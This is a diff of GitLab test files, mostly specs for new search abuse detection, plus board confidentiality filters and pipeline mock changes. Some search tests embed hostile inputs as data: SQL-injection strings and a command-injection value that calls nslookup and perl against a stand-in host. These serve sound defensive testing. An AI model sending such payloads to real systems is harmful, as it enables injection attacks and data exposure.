get :show, params: { scope: 'projects', search: '*', repository_ref: '-1%20OR%203%2B640-640-1=0%2B0%2B0%2B1' }
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:search_results)).to be_a Gitlab::EmptySearchResults
end
end
end
context 'tab feature flags' do
@ -221,16 +234,6 @@ RSpec.describe SearchController do
end
end
it 'strips surrounding whitespace from search query' do
get :show, params: { scope: 'notes', search: ' foobar ' }
expect(assigns[:search_term]).to eq 'foobar'
end
it 'strips surrounding whitespace from autocomplete term' do
expect(controller).to receive(:search_autocomplete_opts).with('youcompleteme')
get :autocomplete, params: { term: ' youcompleteme ' }
end
it 'finds issue comments' do
project = create(:project, :public)
note = create(:note_on_issue, project: project)
@ -289,7 +292,7 @@ RSpec.describe SearchController do
end
end
describe 'GET #count' do
describe 'GET #count', :aggregate_failures do
it_behaves_like 'when the user cannot read cross project', :count, { search: 'hello', scope: 'projects' }
it_behaves_like 'with external authorization service enabled', :count, { search: 'hello', scope: 'projects' }
it_behaves_like 'support for active record query timeouts', :count, { search: 'hello', scope: 'projects' }, :search_results, :json
@ -323,12 +326,38 @@ RSpec.describe SearchController do
expect(response.headers['Cache-Control']).to eq('private, no-store')
end
it 'does NOT blow up if search param is NOT a string' do
get :count, params: { search: ['hello'], scope: 'projects' }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({ 'count' => '0' })
get :count, params: { search: { nested: 'hello' }, scope: 'projects' }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({ 'count' => '0' })
end
it 'does NOT blow up if repository_ref contains abusive characters' do
get :count, params: {
search: 'hello',
repository_ref: "(nslookup%20hitqlwv501f.somewhere.bad%7C%7Cperl%20-e%20%22gethostbyname('hitqlwv501f.somewhere.bad')%22)",
scope: 'projects'
}
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({ 'count' => '0' })
end
end
describe 'GET #autocomplete' do
it_behaves_like 'when the user cannot read cross project', :autocomplete, { term: 'hello' }
it_behaves_like 'with external authorization service enabled', :autocomplete, { term: 'hello' }
it_behaves_like 'support for active record query timeouts', :autocomplete, { term: 'hello' }, :project, :json
it 'returns an empty array when given abusive search term' do
get :autocomplete, params: { term: ('hal' * 9000), scope: 'projects' }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to match_array([])
end
end
describe '#append_info_to_payload' do
@ -358,6 +387,35 @@ RSpec.describe SearchController do
get :show, params: { search: 'hello world', group_id: '123', project_id: '456' }
end
end
context 'abusive searches', :aggregate_failures do
let(:project) { create(:project, :public, name: 'hello world') }
let(:make_abusive_request) do
get :show, params: { scope: '1;drop%20tables;boom', search: 'hello world', project_id: project.id }
end
before do
enable_external_authorization_service_check
end
it 'returns EmptySearchResults' do
expect(Gitlab::EmptySearchResults).to receive(:new).and_call_original
make_abusive_request
expect(response).to have_gitlab_http_status(:ok)
end
context 'when the feature flag is disabled' do
before do
stub_feature_flags(prevent_abusive_searches: false)
end
it 'returns a regular search result' do
expect(Gitlab::EmptySearchResults).not_to receive(:new)
make_abusive_request
expect(response).to have_gitlab_http_status(:ok)
end
end
end
end
context 'unauthorized user' do

View File

@ -12,7 +12,7 @@ RSpec.describe 'Issue board filters', :js do
let_it_be(:release) { create(:release, tag: 'v1.0', project: project, milestones: [milestone_1]) }
let_it_be(:release_2) { create(:release, tag: 'v2.0', project: project, milestones: [milestone_2]) }
let_it_be(:issue_1) { create(:issue, project: project, milestone: milestone_1, author: user) }
let_it_be(:issue_2) { create(:labeled_issue, project: project, milestone: milestone_2, assignees: [user], labels: [project_label]) }
let_it_be(:issue_2) { create(:labeled_issue, project: project, milestone: milestone_2, assignees: [user], labels: [project_label], confidential: true) }
let_it_be(:award_emoji1) { create(:award_emoji, name: 'thumbsup', user: user, awardable: issue_1) }
let(:filtered_search) { find('[data-testid="issue_1-board-filtered-search"]') }
@ -100,6 +100,25 @@ RSpec.describe 'Issue board filters', :js do
end
end
describe 'filters by confidentiality' do
before do
filter_input.click
filter_input.set("confidential:")
end
it 'loads all the confidentiality options when opened and submit one as filter', :aggregate_failures do
expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 2)
expect_filtered_search_dropdown_results(filter_dropdown, 2)
filter_dropdown.click_on 'Yes'
filter_submit.click
expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
expect(find('.board-card')).to have_content(issue_2.title)
end
end
describe 'filters by milestone' do
before do
set_filter('milestone')

View File

@ -29,6 +29,24 @@ RSpec.describe 'User visits their profile' do
expect(find('.file-content')).to have_content('testme')
end
it 'hides empty user readme' do
project = create(:project, :repository, :public, path: user.username, namespace: user.namespace)
Files::UpdateService.new(
project,
user,
start_branch: 'master',
branch_name: 'master',
commit_message: 'Update feature',
file_path: 'README.md',
file_content: ''
).execute
visit(user_path(user))
expect(page).not_to have_selector('.file-content')
end
context 'when user has groups' do
let(:group) do
create :group do |group|

View File

@ -552,7 +552,20 @@ export const mockEmojiToken = {
fetchEmojis: expect.any(Function),
};
export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji) => [
export const mockConfidentialToken = {
type: 'confidential',
icon: 'eye-slash',
title: 'Confidential',
unique: true,
token: GlFilteredSearchToken,
operators: [{ value: '=', description: 'is' }],
options: [
{ icon: 'eye-slash', value: 'yes', title: 'Yes' },
{ icon: 'eye', value: 'no', title: 'No' },
],
};
export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, isSignedIn) => [
{
icon: 'user',
title: __('Assignee'),
@ -593,7 +606,7 @@ export const mockTokens = (fetchLabels, fetchAuthors, fetchMilestones, hasEmoji)
symbol: '~',
fetchLabels,
},
...(hasEmoji ? [mockEmojiToken] : []),
...(isSignedIn ? [mockEmojiToken, mockConfidentialToken] : []),
{
icon: 'clock',
title: __('Milestone'),

View File

@ -13,7 +13,6 @@ Array [
"id": "6",
"name": "build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
"needs": Array [],
"previousStageJobsOrNeeds": Array [],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -54,7 +53,6 @@ Array [
"id": "11",
"name": "build_b",
"needs": Array [],
"previousStageJobsOrNeeds": Array [],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -95,7 +93,6 @@ Array [
"id": "16",
"name": "build_c",
"needs": Array [],
"previousStageJobsOrNeeds": Array [],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -136,7 +133,6 @@ Array [
"id": "21",
"name": "build_d 1/3",
"needs": Array [],
"previousStageJobsOrNeeds": Array [],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -161,7 +157,6 @@ Array [
"id": "24",
"name": "build_d 2/3",
"needs": Array [],
"previousStageJobsOrNeeds": Array [],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -186,7 +181,6 @@ Array [
"id": "27",
"name": "build_d 3/3",
"needs": Array [],
"previousStageJobsOrNeeds": Array [],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -227,7 +221,6 @@ Array [
"id": "59",
"name": "test_c",
"needs": Array [],
"previousStageJobsOrNeeds": Array [],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -274,11 +267,6 @@ Array [
"build_b",
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
],
"previousStageJobsOrNeeds": Array [
"build_c",
"build_b",
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -325,13 +313,6 @@ Array [
"build_b",
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
],
"previousStageJobsOrNeeds": Array [
"build_d 3/3",
"build_d 2/3",
"build_d 1/3",
"build_b",
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -362,13 +343,6 @@ Array [
"build_b",
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
],
"previousStageJobsOrNeeds": Array [
"build_d 3/3",
"build_d 2/3",
"build_d 1/3",
"build_b",
"build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",
@ -411,9 +385,6 @@ Array [
"needs": Array [
"build_b",
],
"previousStageJobsOrNeeds": Array [
"build_b",
],
"scheduledAt": null,
"status": Object {
"__typename": "DetailedStatus",

View File

@ -73,10 +73,6 @@ export const mockPipelineResponse = {
__typename: 'CiBuildNeedConnection',
nodes: [],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [],
},
},
],
},
@ -122,10 +118,6 @@ export const mockPipelineResponse = {
__typename: 'CiBuildNeedConnection',
nodes: [],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [],
},
},
],
},
@ -171,10 +163,6 @@ export const mockPipelineResponse = {
__typename: 'CiBuildNeedConnection',
nodes: [],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [],
},
},
],
},
@ -220,10 +208,6 @@ export const mockPipelineResponse = {
__typename: 'CiBuildNeedConnection',
nodes: [],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [],
},
},
{
__typename: 'CiJob',
@ -251,10 +235,6 @@ export const mockPipelineResponse = {
__typename: 'CiBuildNeedConnection',
nodes: [],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [],
},
},
{
__typename: 'CiJob',
@ -282,10 +262,6 @@ export const mockPipelineResponse = {
__typename: 'CiBuildNeedConnection',
nodes: [],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [],
},
},
],
},
@ -363,27 +339,6 @@ export const mockPipelineResponse = {
},
],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [
{
__typename: 'CiBuildNeed',
id: '37',
name: 'build_c',
},
{
__typename: 'CiBuildNeed',
id: '38',
name: 'build_b',
},
{
__typename: 'CiBuildNeed',
id: '39',
name:
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
},
],
},
},
],
},
@ -456,37 +411,6 @@ export const mockPipelineResponse = {
},
],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [
{
__typename: 'CiBuildNeed',
id: '45',
name: 'build_d 3/3',
},
{
__typename: 'CiBuildNeed',
id: '46',
name: 'build_d 2/3',
},
{
__typename: 'CiBuildNeed',
id: '47',
name: 'build_d 1/3',
},
{
__typename: 'CiBuildNeed',
id: '48',
name: 'build_b',
},
{
__typename: 'CiBuildNeed',
id: '49',
name:
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
},
],
},
},
{
__typename: 'CiJob',
@ -541,37 +465,6 @@ export const mockPipelineResponse = {
},
],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [
{
__typename: 'CiBuildNeed',
id: '52',
name: 'build_d 3/3',
},
{
__typename: 'CiBuildNeed',
id: '53',
name: 'build_d 2/3',
},
{
__typename: 'CiBuildNeed',
id: '54',
name: 'build_d 1/3',
},
{
__typename: 'CiBuildNeed',
id: '55',
name: 'build_b',
},
{
__typename: 'CiBuildNeed',
id: '56',
name:
'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
},
],
},
},
],
},
@ -610,10 +503,6 @@ export const mockPipelineResponse = {
__typename: 'CiBuildNeedConnection',
nodes: [],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [],
},
},
],
},
@ -658,16 +547,6 @@ export const mockPipelineResponse = {
},
],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [
{
__typename: 'CiBuildNeed',
id: '65',
name: 'build_b',
},
],
},
},
],
},
@ -841,10 +720,6 @@ export const wrappedPipelineReturn = {
__typename: 'CiBuildNeedConnection',
nodes: [],
},
previousStageJobsOrNeeds: {
__typename: 'CiJobConnection',
nodes: [],
},
status: {
__typename: 'DetailedStatus',
id: '84',

View File

@ -0,0 +1,31 @@
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::EmptySearchResults do
subject { described_class.new }
describe '#objects' do
it 'returns an empty array' do
expect(subject.objects).to match_array([])
end
end
describe '#formatted_count' do
it 'returns a zero' do
expect(subject.formatted_count).to eq('0')
end
end
describe '#highlight_map' do
it 'returns an empty hash' do
expect(subject.highlight_map).to eq({})
end
end
describe '#aggregations' do
it 'returns an empty array' do
expect(subject.objects).to match_array([])
end
end
end

View File

@ -0,0 +1,114 @@
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::Search::AbuseDetection do
subject { described_class.new(params) }
let(:params) {{ query_string: 'foobar' }}
describe 'abusive scopes validation' do
it 'allows only approved scopes' do
described_class::ALLOWED_SCOPES.each do |scope|
expect(described_class.new(scope: scope)).to be_valid
end
end
it 'disallows anything not approved' do
expect(described_class.new(scope: 'nope')).not_to be_valid
end
end
describe 'abusive character matching' do
refs = %w(
main
тест
maiñ
main123
main-v123
main-v12.3
feature/it_works
really_important!
)
refs.each do |ref|
it "does match refs permitted by git refname: #{ref}" do
[:repository_ref, :project_ref].each do |param|
validation = described_class.new(Hash[param, ref])
expect(validation).to be_valid
end
end
it "does NOT match refs with special characters: #{ref}" do
['?', '\\', ' '].each do |special_character|
[:repository_ref, :project_ref].each do |param|
validation = described_class.new(Hash[param, ref + special_character])
expect(validation).not_to be_valid
end
end
end
end
end
describe 'numericality validation' do
it 'considers non Integers to be invalid' do
[:project_id, :group_id].each do |param|
[[1, 2, 3], 'xyz', 3.14, { foo: :bar }].each do |dtype|
expect(described_class.new(param => dtype)).not_to be_valid
end
end
end
it 'considers Integers to be valid' do
[:project_id, :group_id].each do |param|
expect(described_class.new(param => 123)).to be_valid
end
end
end
describe 'query_string validation' do
using ::RSpec::Parameterized::TableSyntax
subject { described_class.new(query_string: search) }
let(:validation_errors) do
subject.validate
subject.errors.messages
end
where(:search, :errors) do
described_class::STOP_WORDS.each do |word|
word | { query_string: ['stopword only abusive search detected'] }
end
'x' | { query_string: ['abusive tiny search detected'] }
('x' * described_class::ABUSIVE_TERM_SIZE) | { query_string: ['abusive term length detected'] }
'' | {}
'*' | {}
'ruby' | {}
end
with_them do
it 'validates query string for pointless search' do
expect(validation_errors).to eq(errors)
end
end
end
describe 'abusive type coercion from string validation' do
it 'considers anything not a String invalid' do
[:query_string, :scope, :repository_ref, :project_ref].each do |param|
[[1, 2, 3], 123, 3.14, { foo: :bar }].each do |dtype|
expect(described_class.new(param => dtype)).not_to be_valid
end
end
end
it 'considers Strings to be valid' do
[:query_string, :repository_ref, :project_ref].each do |param|
expect(described_class.new(param => "foo")).to be_valid
end
end
end
end

View File

@ -0,0 +1,35 @@
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::Search::AbuseValidators::NoAbusiveCoercionFromStringValidator do
subject do
described_class.new({ attributes: { foo: :bar } })
end
let(:instance) { double(:instance) }
let(:attribute) { :attribute }
let(:validation_msg) { 'abusive coercion from string detected' }
let(:validate) { subject.validate_each(instance, attribute, attribute_value) }
using ::RSpec::Parameterized::TableSyntax
where(:attribute_value, :valid?) do
['this is an arry'] | false
{ 'this': 'is a hash' } | false
123 | false
456.78 | false
'now this is a string' | true
end
with_them do
it do
if valid?
expect(instance).not_to receive(:errors)
else
expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
validate
end
end
end
end

View File

@ -0,0 +1,71 @@
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::Search::AbuseValidators::NoAbusiveTermLengthValidator do
subject do
described_class.new({ attributes: { foo: :bar }, maximum: limit, maximum_for_url: url_limit })
end
let(:limit) { 100 }
let(:url_limit) { limit * 2 }
let(:instance) { double(:instance) }
let(:attribute) { :search }
let(:validation_msg) { 'abusive term length detected' }
let(:validate) { subject.validate_each(instance, attribute, search) }
context 'when a term is over the limit' do
let(:search) { "this search is too lo#{'n' * limit}g" }
it 'adds a validation error' do
expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
validate
end
end
context 'when all terms are under the limit' do
let(:search) { "what is love? baby don't hurt me" }
it 'does NOT add any validation errors' do
expect(instance).not_to receive(:errors)
validate
end
end
context 'when a URL is detected in a search term' do
let(:double_limit) { limit * 2 }
let(:terms) do
[
'http://' + 'x' * (double_limit - 12) + '.com',
'https://' + 'x' * (double_limit - 13) + '.com',
'sftp://' + 'x' * (double_limit - 12) + '.com',
'ftp://' + 'x' * (double_limit - 11) + '.com',
'http://' + 'x' * (double_limit - 8) # no tld is OK
]
end
context 'when under twice the limit' do
let(:search) { terms.join(' ') }
it 'does NOT add any validation errors' do
search.split.each do |term|
expect(term.length).to be < url_limit
end
expect(instance).not_to receive(:errors)
validate
end
end
context 'when over twice the limit' do
let(:search) do
terms.map { |t| t + 'xxxxxxxx' }.join(' ')
end
it 'adds a validation error' do
expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
validate
end
end
end
end

View File

@ -0,0 +1,136 @@
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::Search::Params do
subject { described_class.new(params, detect_abuse: detect_abuse) }
let(:search) { 'search' }
let(:group_id) { 123 }
let(:params) { { group_id: 123, search: search } }
let(:detect_abuse) { true }
describe 'detect_abuse conditional' do
it 'does not call AbuseDetection' do
expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
described_class.new(params, detect_abuse: false)
end
it 'uses AbuseDetection by default' do
expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
described_class.new(params)
end
end
describe '#[]' do
it 'feels like regular params' do
expect(subject[:group_id]).to eq(params[:group_id])
end
it 'has indifferent access' do
params = described_class.new({ 'search' => search, group_id: group_id })
expect(params['group_id']).to eq(group_id)
expect(params[:search]).to eq(search)
end
it 'also works on attr_reader attributes' do
expect(subject[:query_string]).to eq(subject.query_string)
end
end
describe '#query_string' do
let(:term) { 'term' }
it "uses 'search' parameter" do
params = described_class.new({ search: search })
expect(params.query_string).to eq(search)
end
it "uses 'term' parameter" do
params = described_class.new({ term: term })
expect(params.query_string).to eq(term)
end
it "prioritizes 'search' over 'term'" do
params = described_class.new({ search: search, term: term })
expect(params.query_string).to eq(search)
end
it 'strips surrounding whitespace from query string' do
params = described_class.new({ search: ' ' + search + ' ' })
expect(params.query_string).to eq(search)
end
end
describe '#validate' do
context 'when detect_abuse is disabled' do
let(:detect_abuse) { false }
it 'does NOT validate AbuseDetector' do
expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
subject.validate
end
end
it 'validates AbuseDetector on validation' do
expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
subject.validate
end
end
describe '#valid?' do
context 'when detect_abuse is disabled' do
let(:detect_abuse) { false }
it 'does NOT validate AbuseDetector' do
expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
subject.valid?
end
end
it 'validates AbuseDetector on validation' do
expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
subject.valid?
end
end
describe 'abuse detection' do
let(:abuse_detection) { instance_double(Gitlab::Search::AbuseDetection) }
before do
allow(subject).to receive(:abuse_detection).and_return abuse_detection
allow(abuse_detection).to receive(:errors).and_return abuse_errors
end
context 'when there are abuse validation errors' do
let(:abuse_errors) { { foo: ['bar'] } }
it 'is considered abusive' do
expect(subject).to be_abusive
end
end
context 'when there are NOT any abuse validation errors' do
let(:abuse_errors) { {} }
context 'and there are other validation errors' do
it 'is NOT considered abusive' do
allow(subject).to receive(:valid?) do
subject.errors.add :project_id, 'validation error unrelated to abuse'
false
end
expect(subject).not_to be_abusive
end
end
context 'and there are NO other validation errors' do
it 'is NOT considered abusive' do
allow(subject).to receive(:valid?).and_return(true)
expect(subject).not_to be_abusive
end
end
end
end
end

View File

@ -1317,10 +1317,28 @@ RSpec.describe Issue do
let_it_be(:issue1) { create(:issue, project: project, relative_position: nil) }
let_it_be(:issue2) { create(:issue, project: project, relative_position: nil) }
it_behaves_like "a class that supports relative positioning" do
let_it_be(:project) { reusable_project }
let(:factory) { :issue }
let(:default_params) { { project: project } }
context 'when optimized_issue_neighbor_queries is enabled' do
before do
stub_feature_flags(optimized_issue_neighbor_queries: true)
end
it_behaves_like "a class that supports relative positioning" do
let_it_be(:project) { reusable_project }
let(:factory) { :issue }
let(:default_params) { { project: project } }
end
end
context 'when optimized_issue_neighbor_queries is disabled' do
before do
stub_feature_flags(optimized_issue_neighbor_queries: false)
end
it_behaves_like "a class that supports relative positioning" do
let_it_be(:project) { reusable_project }
let(:factory) { :issue }
let(:default_params) { { project: project } }
end
end
it 'is not blocked for repositioning by default' do

View File

@ -87,36 +87,10 @@ module Ci
end
context 'for specific runner' do
context 'with tables decoupling disabled' do
before do
stub_feature_flags(
ci_pending_builds_project_runners_decoupling: false,
ci_queueing_builds_enabled_checks: false)
end
around do |example|
allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332952') do
example.run
end
end
it 'does not pick a build' do
expect(execute(specific_runner)).to be_nil
end
end
context 'with tables decoupling enabled' do
before do
stub_feature_flags(
ci_pending_builds_project_runners_decoupling: true,
ci_queueing_builds_enabled_checks: true)
end
it 'does not pick a build' do
expect(execute(specific_runner)).to be_nil
expect(pending_job.reload).to be_failed
expect(pending_job.queuing_entry).to be_nil
end
it 'does not pick a build' do
expect(execute(specific_runner)).to be_nil
expect(pending_job.reload).to be_failed
expect(pending_job.queuing_entry).to be_nil
end
end
end
@ -272,34 +246,10 @@ module Ci
context 'and uses project runner' do
let(:build) { execute(specific_runner) }
context 'with tables decoupling disabled' do
before do
stub_feature_flags(
ci_pending_builds_project_runners_decoupling: false,
ci_queueing_builds_enabled_checks: false)
end
around do |example|
allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332952') do
example.run
end
end
it { expect(build).to be_nil }
end
context 'with tables decoupling enabled' do
before do
stub_feature_flags(
ci_pending_builds_project_runners_decoupling: true,
ci_queueing_builds_enabled_checks: true)
end
it 'does not pick a build' do
expect(build).to be_nil
expect(pending_job.reload).to be_failed
expect(pending_job.queuing_entry).to be_nil
end
it 'does not pick a build' do
expect(build).to be_nil
expect(pending_job.reload).to be_failed
expect(pending_job.queuing_entry).to be_nil
end
end
end

View File

@ -20,6 +20,7 @@ RSpec.describe SearchService do
let(:page) { 1 }
let(:per_page) { described_class::DEFAULT_PER_PAGE }
let(:valid_search) { "what is love?" }
subject(:search_service) { described_class.new(user, search: search, scope: scope, page: page, per_page: per_page) }
@ -30,7 +31,7 @@ RSpec.describe SearchService do
describe '#project' do
context 'when the project is accessible' do
it 'returns the project' do
project = described_class.new(user, project_id: accessible_project.id).project
project = described_class.new(user, project_id: accessible_project.id, search: valid_search).project
expect(project).to eq accessible_project
end
@ -39,7 +40,7 @@ RSpec.describe SearchService do
search_project = create :project
search_project.add_guest(user)
project = described_class.new(user, project_id: search_project.id).project
project = described_class.new(user, project_id: search_project.id, search: valid_search).project
expect(project).to eq search_project
end
@ -47,7 +48,7 @@ RSpec.describe SearchService do
context 'when the project is not accessible' do
it 'returns nil' do
project = described_class.new(user, project_id: inaccessible_project.id).project
project = described_class.new(user, project_id: inaccessible_project.id, search: valid_search).project
expect(project).to be_nil
end
@ -55,7 +56,7 @@ RSpec.describe SearchService do
context 'when there is no project_id' do
it 'returns nil' do
project = described_class.new(user).project
project = described_class.new(user, search: valid_search).project
expect(project).to be_nil
end
@ -65,7 +66,7 @@ RSpec.describe SearchService do
describe '#group' do
context 'when the group is accessible' do
it 'returns the group' do
group = described_class.new(user, group_id: accessible_group.id).group
group = described_class.new(user, group_id: accessible_group.id, search: valid_search).group
expect(group).to eq accessible_group
end
@ -73,7 +74,7 @@ RSpec.describe SearchService do
context 'when the group is not accessible' do
it 'returns nil' do
group = described_class.new(user, group_id: inaccessible_group.id).group
group = described_class.new(user, group_id: inaccessible_group.id, search: valid_search).group
expect(group).to be_nil
end
@ -81,7 +82,7 @@ RSpec.describe SearchService do
context 'when there is no group_id' do
it 'returns nil' do
group = described_class.new(user).group
group = described_class.new(user, search: valid_search).group
expect(group).to be_nil
end
@ -118,7 +119,7 @@ RSpec.describe SearchService do
context 'with accessible project_id' do
context 'and allowed scope' do
it 'returns the specified scope' do
scope = described_class.new(user, project_id: accessible_project.id, scope: 'notes').scope
scope = described_class.new(user, project_id: accessible_project.id, scope: 'notes', search: valid_search).scope
expect(scope).to eq 'notes'
end
@ -126,7 +127,7 @@ RSpec.describe SearchService do
context 'and disallowed scope' do
it 'returns the default scope' do
scope = described_class.new(user, project_id: accessible_project.id, scope: 'projects').scope
scope = described_class.new(user, project_id: accessible_project.id, scope: 'projects', search: valid_search).scope
expect(scope).to eq 'blobs'
end
@ -134,7 +135,7 @@ RSpec.describe SearchService do
context 'and no scope' do
it 'returns the default scope' do
scope = described_class.new(user, project_id: accessible_project.id).scope
scope = described_class.new(user, project_id: accessible_project.id, search: valid_search).scope
expect(scope).to eq 'blobs'
end
@ -552,4 +553,66 @@ RSpec.describe SearchService do
end
end
end
describe '#valid_request?' do
let(:scope) { 'issues' }
let(:search) { 'foobar' }
let(:params) { instance_double(Gitlab::Search::Params) }
before do
allow(Gitlab::Search::Params).to receive(:new).and_return(params)
allow(params).to receive(:valid?).and_return double(:valid?)
end
it 'is the return value of params.valid?' do
expect(subject.valid_request?).to eq(params.valid?)
end
end
describe 'abusive search handling' do
subject { described_class.new(user, raw_params) }
let(:raw_params) { { search: search, scope: scope } }
let(:search) { 'foobar' }
let(:search_service) { double(:search_service) }
before do
stub_feature_flags(prevent_abusive_searches: should_detect_abuse)
expect(Gitlab::Search::Params).to receive(:new)
.with(raw_params, detect_abuse: should_detect_abuse).and_call_original
allow(subject).to receive(:search_service).and_return search_service
end
context 'when abusive search but prevent_abusive_searches FF is disabled' do
let(:should_detect_abuse) { false }
let(:scope) { '1;drop%20table' }
it 'executes search even if params are abusive' do
expect(search_service).to receive(:execute)
subject.search_results
end
end
context 'a search is abusive' do
let(:should_detect_abuse) { true }
let(:scope) { '1;drop%20table' }
it 'does NOT execute search service' do
expect(search_service).not_to receive(:execute)
subject.search_results
end
end
context 'a search is NOT abusive' do
let(:should_detect_abuse) { true }
let(:scope) { 'issues' }
it 'executes search service' do
expect(search_service).to receive(:execute)
subject.search_results
end
end
end
end